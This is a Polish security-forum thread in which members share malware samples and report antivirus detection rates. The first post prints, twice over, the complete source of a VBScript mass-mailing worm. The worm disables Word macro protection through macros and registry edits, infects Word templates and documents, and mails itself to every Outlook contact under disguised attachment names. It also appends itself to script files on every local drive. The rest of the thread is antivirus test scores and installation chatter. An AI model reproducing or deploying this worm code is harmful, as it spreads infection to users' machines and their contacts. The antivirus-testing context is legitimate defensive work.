SafeGroup › Bezpieczeństwo › Malware Lab v
Paczki, malware, złośliwe pliki, linki itp.

Tryby wyświetlania wątku
Paczki, malware, złośliwe pliki, linki itp.
virugen Offline
Amator
Liczba postów: 93
Liczba wątków: 2
Dołączył: 30.06.2011
Reputacja: 0
#7 681
18.07.2011, 18:40
Yumao

Kod:
''VBS.MaoYu
''VBS.MaoYu by MaoYu(SG)
''to hell with Osama..

On Error Resume Next
Set sf=CreateObject("Scripting.FileSystemObject")
Set ws=CreateObject("WScript.Shell")
Set fl=sf.OpenTextFile(WScript.ScriptFullName,1)
virus=fl.ReadAll
fl.Close

personal=ws.SpecialFolders("MyDocuments")

sf.GetFile(WScript.ScriptFullName).Copy(sf.GetSpecialFolder(0)&"\MaoYu.vbs")

Set vw=sf.CreateTextFile("C:\MaoYu.sys")
vw.WriteLine "Attribute VB_Name = ""MaoYu"""
vw.WriteLine "Sub AutoOpen()"
vw.WriteLine "On Error Resume Next"
vw.WriteLine "Call FishProtect"
vw.WriteLine "Call Infect"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub HelpAbout()"
vw.WriteLine "If Day(Now) = 29 Then"
vw.WriteLine "MsgBox ""VBS.MaoYu. I love swimming. Hahahahaha"", vbInformation, ""For "" + Application.UserName"
vw.WriteLine "End If"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub Infect()"
vw.WriteLine "On Error Resume Next"
vw.WriteLine "Set Nor = NormalTemplate.VBProject.VBComponents"
vw.WriteLine "Set Doc = ActiveDocument.VBProject.VBComponents"
vw.WriteLine "Drop = ""C:\MaoYu.sys"""
vw.WriteLine "If Nor.Item(""MaoYu"").Name <> ""MaoYu"" Then"
vw.WriteLine "Doc(""MaoYu"").Export Drop"
vw.WriteLine "Nor.Import Drop"
vw.WriteLine "End If"
vw.WriteLine "If Doc.Item(""MaoYu"").Name <> ""MaoYu"" Then"
vw.WriteLine "Nor(""MaoYu"").Export Drop"
vw.WriteLine "Doc.Import Drop"
vw.WriteLine "ActiveDocument.Save"
vw.WriteLine "End If"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub FishProtect()"
vw.WriteLine "With Options"
vw.WriteLine ".ConfirmConversions = False"
vw.WriteLine ".VirusProtection = False"
vw.WriteLine ".SaveNormalPrompt = False"
vw.WriteLine "End With"
vw.WriteLine "Select Case Application.Version"
vw.WriteLine "Case ""10.0"""
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security"", ""Level"") = 1&"
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security"", ""AccessVBOM"") = 1&"
vw.WriteLine "Case ""9.0"""
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
vw.WriteLine "End Select"
vw.WriteLine "WordBasic.DisableAutoMacros 0"
vw.WriteLine "End Sub"
vw.Close

lecteur()

ws.RegWrite "HKCU\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"

Set out=CreateObject("Outlook.Application")
Set MA=out.GetNameSpace("MAPI")
For Each C In MA.AddressLists
If C.AddressEntries.Count <> 0 Then
For D=1 To C.AddressEntries.Count

tmpname=""
randomize(timer)
namel=int(rnd(1)*20)+1
For lettre = 1 To namel
randomize(timer)
tmpname=tmpname & chr(int(rnd(1)*26)+97)
Next
typext = "execombatbmpjpggifdocxlsppthtmhtthta"
randomize(timer)
tmpext = int(rnd(1)*11)+1
tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs"
sf.GetFile(WScript.ScriptFullName).Copy(sf.GetSpecialFolder(0)&"\"&tmpname)
subject="Re: " & left(tmpname,len(tmpname)-4) & " for you."

Set AD=C.AddressEntries(D)
Set mail=out.CreateItem(0)
mail.To=AD.Address
mail.Subject=subject
body="Hi " & AD.Name & ","
body = body & VbCrLf & "I am MaoYu.. also known as cAtfish in chinese.. read the attachment to know more about me!"
body = body & VbCrLf & ""
body = body & VbCrLf & "    See you soon"
mail.Body=body
mail.Attachments.Add(sf.GetSpecialFolder(0)&"\"&tmpname)
mail.DeleteAfterSubmit=True
If mail.To <> "" Then
mail.Send
sf.DeleteFile sf.GetSpecialFolder(0)&"\"&tmpname
End If
Next
End If
Next


Set wrd=WScript.CreateObject("Word.Application")
If wrd Is Nothing Then WScript.Quit
wrd.Visible=False
Set srch = wrd.Application.FileSearch
srch.Lookin = ""&personal&"": srch.SearchSubFolders = True: srch.FileName="*.doc": srch.Execute
For f = 1 To srch.FoundFiles.Count
victim = srch.FoundFiles(f)
wrd.Documents.Open victim
Set Doc=wrd.ActiveDocument.VBProject.VBComponents
If Doc.Item("MaoYu").Name <> "MaoYu" Then
    Doc.Import ("C:\MaoYu.sys")
    wrd.ActiveDocument.Save
    End If
wrd.ActiveDocument.Close
Next
wrd.Application.Quit

Sub lecteur()
On Error Resume Next
dim f,f1,fc
Set dr = sf.Drives
For Each d in dr
If d.DriveType=2 or d.DriveType=3 Then
liste(d.path&"\")
End If
Next
End Sub

Sub infecte(dossier)
On Error Resume Next
Set sf=CreateObject("Scripting.FileSystemObject")
Set f = sf.GetFolder(dossier)
Set fc = f.Files
For Each f1 in fc
ext = sf.GetExtensionName(f1.path)
ext = lcase(ext)
if (ext="vbs") or (ext="vbe") Then
    Set cot=sf.OpenTextFile(f1.path, 1, False)
    If cot.ReadLine <> "''VBS.MaoYu" then
    cot.Close
    Set cot=sf.OpenTextFile(f1.path, 1, False)
    vbsorg=cot.ReadAll()
    cot.Close
    Set inf=sf.OpenTextFile(f1.path,2,True)
    inf.WriteLine "''VBS.MaoYu"
    inf.Write(vbsorg)
    inf.WriteLine ""
    inf.WriteLine virus
    inf.Close
    End If
End If
Next
End Sub

Sub liste(dossier)
On Error Resume Next
Set f = sf.GetFolder(dossier)
Set sf = f.SubFolders
For Each f1 in sf
infecte(f1.path)
liste(f1.path)
Next
End Sub
''VBS.MaoYu by MaoYu(SG)
''to hell with Osama..

On Error Resume Next
Set sf=CreateObject("Scripting.FileSystemObject")
Set ws=CreateObject("WScript.Shell")
Set fl=sf.OpenTextFile(WScript.ScriptFullName,1)
virus=fl.ReadAll
fl.Close

personal=ws.SpecialFolders("MyDocuments")

sf.GetFile(WScript.ScriptFullName).Copy(sf.GetSpecialFolder(0)&"\MaoYu.vbs")

Set vw=sf.CreateTextFile("C:\MaoYu.sys")
vw.WriteLine "Attribute VB_Name = ""MaoYu"""
vw.WriteLine "Sub AutoOpen()"
vw.WriteLine "On Error Resume Next"
vw.WriteLine "Call FishProtect"
vw.WriteLine "Call Infect"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub HelpAbout()"
vw.WriteLine "If Day(Now) = 29 Then"
vw.WriteLine "MsgBox ""VBS.MaoYu. I love swimming. Hahahahaha"", vbInformation, ""For "" + Application.UserName"
vw.WriteLine "End If"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub Infect()"
vw.WriteLine "On Error Resume Next"
vw.WriteLine "Set Nor = NormalTemplate.VBProject.VBComponents"
vw.WriteLine "Set Doc = ActiveDocument.VBProject.VBComponents"
vw.WriteLine "Drop = ""C:\MaoYu.sys"""
vw.WriteLine "If Nor.Item(""MaoYu"").Name <> ""MaoYu"" Then"
vw.WriteLine "Doc(""MaoYu"").Export Drop"
vw.WriteLine "Nor.Import Drop"
vw.WriteLine "End If"
vw.WriteLine "If Doc.Item(""MaoYu"").Name <> ""MaoYu"" Then"
vw.WriteLine "Nor(""MaoYu"").Export Drop"
vw.WriteLine "Doc.Import Drop"
vw.WriteLine "ActiveDocument.Save"
vw.WriteLine "End If"
vw.WriteLine "End Sub"
vw.WriteLine ""
vw.WriteLine "Sub FishProtect()"
vw.WriteLine "With Options"
vw.WriteLine ".ConfirmConversions = False"
vw.WriteLine ".VirusProtection = False"
vw.WriteLine ".SaveNormalPrompt = False"
vw.WriteLine "End With"
vw.WriteLine "Select Case Application.Version"
vw.WriteLine "Case ""10.0"""
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security"", ""Level"") = 1&"
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security"", ""AccessVBOM"") = 1&"
vw.WriteLine "Case ""9.0"""
vw.WriteLine "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
vw.WriteLine "End Select"
vw.WriteLine "WordBasic.DisableAutoMacros 0"
vw.WriteLine "End Sub"
vw.Close

lecteur()

ws.RegWrite "HKCU\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
ws.RegWrite "HKCU\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"

Set out=CreateObject("Outlook.Application")
Set MA=out.GetNameSpace("MAPI")
For Each C In MA.AddressLists
If C.AddressEntries.Count <> 0 Then
For D=1 To C.AddressEntries.Count

tmpname=""
randomize(timer)
namel=int(rnd(1)*20)+1
For lettre = 1 To namel
randomize(timer)
tmpname=tmpname & chr(int(rnd(1)*26)+97)
Next
typext = "execombatbmpjpggifdocxlsppthtmhtthta"
randomize(timer)
tmpext = int(rnd(1)*11)+1
tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs"
sf.GetFile(WScript.ScriptFullName).Copy(sf.GetSpecialFolder(0)&"\"&tmpname)
subject="Re: " & left(tmpname,len(tmpname)-4) & " for you."

Set AD=C.AddressEntries(D)
Set mail=out.CreateItem(0)
mail.To=AD.Address
mail.Subject=subject
body="Hi " & AD.Name & ","
body = body & VbCrLf & "I am MaoYu.. also known as cAtfish in chinese.. read the attachment to know more about me!"
body = body & VbCrLf & ""
body = body & VbCrLf & "    See you soon"
mail.Body=body
mail.Attachments.Add(sf.GetSpecialFolder(0)&"\"&tmpname)
mail.DeleteAfterSubmit=True
If mail.To <> "" Then
mail.Send
sf.DeleteFile sf.GetSpecialFolder(0)&"\"&tmpname
End If
Next
End If
Next


Set wrd=WScript.CreateObject("Word.Application")
If wrd Is Nothing Then WScript.Quit
wrd.Visible=False
Set srch = wrd.Application.FileSearch
srch.Lookin = ""&personal&"": srch.SearchSubFolders = True: srch.FileName="*.doc": srch.Execute
For f = 1 To srch.FoundFiles.Count
victim = srch.FoundFiles(f)
wrd.Documents.Open victim
Set Doc=wrd.ActiveDocument.VBProject.VBComponents
If Doc.Item("MaoYu").Name <> "MaoYu" Then
    Doc.Import ("C:\MaoYu.sys")
    wrd.ActiveDocument.Save
    End If
wrd.ActiveDocument.Close
Next
wrd.Application.Quit

Sub lecteur()
On Error Resume Next
dim f,f1,fc
Set dr = sf.Drives
For Each d in dr
If d.DriveType=2 or d.DriveType=3 Then
liste(d.path&"\")
End If
Next
End Sub

Sub infecte(dossier)
On Error Resume Next
Set sf=CreateObject("Scripting.FileSystemObject")
Set f = sf.GetFolder(dossier)
Set fc = f.Files
For Each f1 in fc
ext = sf.GetExtensionName(f1.path)
ext = lcase(ext)
if (ext="vbs") or (ext="vbe") Then
    Set cot=sf.OpenTextFile(f1.path, 1, False)
    If cot.ReadLine <> "''VBS.MaoYu" then
    cot.Close
    Set cot=sf.OpenTextFile(f1.path, 1, False)
    vbsorg=cot.ReadAll()
    cot.Close
    Set inf=sf.OpenTextFile(f1.path,2,True)
    inf.WriteLine "''VBS.MaoYu"
    inf.Write(vbsorg)
    inf.WriteLine ""
    inf.WriteLine virus
    inf.Close
    End If
End If
Next
End Sub

Sub liste(dossier)
On Error Resume Next
Set f = sf.GetFolder(dossier)
Set sf = f.SubFolders
For Each f1 in sf
infecte(f1.path)
liste(f1.path)
Next
End Sub


Dodano: 18 lip 2011 19:40

Paczka

Treść widoczna jedynie dla zarejestrowanych użytkowników

hasło: sg

Tongue
Avast! Internet Security 6 + Emsisoft Mamutu 3 + Hitman Pro 3.5 (On-Demand)

[Aby zobaczyć linki, zarejestruj się tutaj]

Szukaj
Odpowiedz
tachion Offline
Ekipa forum
Liczba postów: 4 766
Liczba wątków: 33
Dołączył: 16.02.2011
Reputacja: 507
#7 682
18.07.2011, 19:06
FIS 2012
351/403 87%
Szukaj
Odpowiedz
ananael Offline
Dyskutant
Liczba postów: 250
Liczba wątków: 10
Dołączył: 23.04.2011
Reputacja: 7
#7 683
18.07.2011, 19:21
ESET364/403 (90,3%)
ESET NOD32 5 + PC Tools Firewall Plus + Truecrypt
Strona WWW Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 684
18.07.2011, 19:51
Może ktoś sprawdzić FIS-a na dzisiejszych próbkach?
Strona WWW Szukaj
Odpowiedz
tachion Offline
Ekipa forum
Liczba postów: 4 766
Liczba wątków: 33
Dołączył: 16.02.2011
Reputacja: 507
#7 685
18.07.2011, 20:16
akurat trafilesTongue
fis 2012
Lock Em All zaden nie jest wykryty,uruchomienie1.reset systemu2.zablokowanie systemu wyskoczylo jakies okienko po rusku 3. runtime error
falszywy skaner - wykryty
trojan gozi - nie wykryty,uruchomienie reset systemu i ćma tylko kursor pozostal (poprawka wstal system ale po dlugim okresie)
trojan sinowal - wykryty
very danger - wykrytylink - nie chce wejsc na wirtualu ani na opere ani na explorerze
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 686
18.07.2011, 20:20
Uuuu, a masz możliwość sprawdzić Mamutu?
Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 687
18.07.2011, 20:26
kamil10506 napisał(a):Może ktoś sprawdzić FIS-a na dzisiejszych próbkach?


mam trochę czasu więc jak chcesz mogę FIS-a sprawdzić na najświeższej paczce od Tommy tzn. skan a to co zastawi uruchamiane Tongue

Dodano: 18 lip 2011 21:26

kamil10506 napisał(a):Uuuu, a masz możliwość sprawdzić Mamutu?


no chyba że inna opcja Suspicious
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 688
18.07.2011, 20:27
Dzięki Smile
Tylko ustaw zaaw. heurestykę i Deepguarda (monitorowanie)
Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 689
18.07.2011, 20:29
kamil10506 napisał(a):Dzięki Smile
Tylko ustaw zaaw. heurestykę i Deepguarda (monitorowanie)


ok tylko to trochę potrwa Grin
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 690
18.07.2011, 20:31
Spoko Smile
Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 691
18.07.2011, 20:39
już 2 raz wysypał się podczas aktualizacji

[Aby zobaczyć linki, zarejestruj się tutaj]

[Aby zobaczyć linki, zarejestruj się tutaj]


jednak będę musiał pobrać nową wersję Sad
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 692
18.07.2011, 20:42
Wysypal sie podczas aktualizacji wersji programu, czy sygnatur?
Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 693
18.07.2011, 20:49
aktualizacji programu bo miałem jeszcze starą beta
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 694
18.07.2011, 20:50
Też mialem ten problem. Trzeba zglosic do F-Secure. Tez musialem instalowac od nowa.
Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 695
18.07.2011, 21:06
kamil10506 napisał(a):Też mialem ten problem. Trzeba zglosic do F-Secure. Tez musialem instalowac od nowa.


tylko że nie mam pojęcia jak mogę pobrać tego instalatora Sad
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 696
18.07.2011, 21:15
Zaraz zapodam link. Mam nadzieję, że masz klucz?

//Po usunięciu odpalasz to

[Aby zobaczyć linki, zarejestruj się tutaj]

Restart i instalujesz

[Aby zobaczyć linki, zarejestruj się tutaj]

Strona WWW Szukaj
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 697
18.07.2011, 21:29
kluczyk mam..
dzięki za info i dopiero teraz zobaczyłem że miałem e-mail od nich z linkami Wall

no i próbowałem instalować ze starego instalatora i nie wiem czemu nie chciało pójść bo w końcu pliki pobiera online.
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
andrzej76
Gość
 
#7 698
18.07.2011, 23:27
CIS 2011 - 360/403 (89,3%)

CIS 2011 + MBAM PRO - 390/403 (96,8%)
Odpowiedz
Piotrex44 Offline
Użytkownik
Liczba postów: 968
Liczba wątków: 26
Dołączył: 21.01.2011
Reputacja: 22
#7 699
19.07.2011, 01:53
FIS 2012 (403 Malware by Tommy)

[Aby zobaczyć linki, zarejestruj się tutaj]


6 zagrożeń ostatnich nie uruchomiłem bo zamuliło mi virtuala Tongue

Dodano: 19 lip 2011 02:53

Emsisoft A-M (403 Malware by Tommy)

[Aby zobaczyć linki, zarejestruj się tutaj]


Tongue
Avast! Internet Security v8.0.1482
Szukaj
Odpowiedz
KaMiL Offline
SG PRO
Liczba postów: 4 085
Liczba wątków: 94
Dołączył: 13.05.2011
Reputacja: 109
#7 700
19.07.2011, 07:43
Dzięki Tongue
Tylko na przyszlosc po skanowaniu nie dawaj na automatyczne usuwanie, bo FIS czesto nie usuwa wirusow, wtedy musisz recznie je usunac.
Emsisoft bardzo dobrze.
Strona WWW Szukaj
Odpowiedz


Skocz do:


Użytkownicy przeglądający ten wątek: 102 gości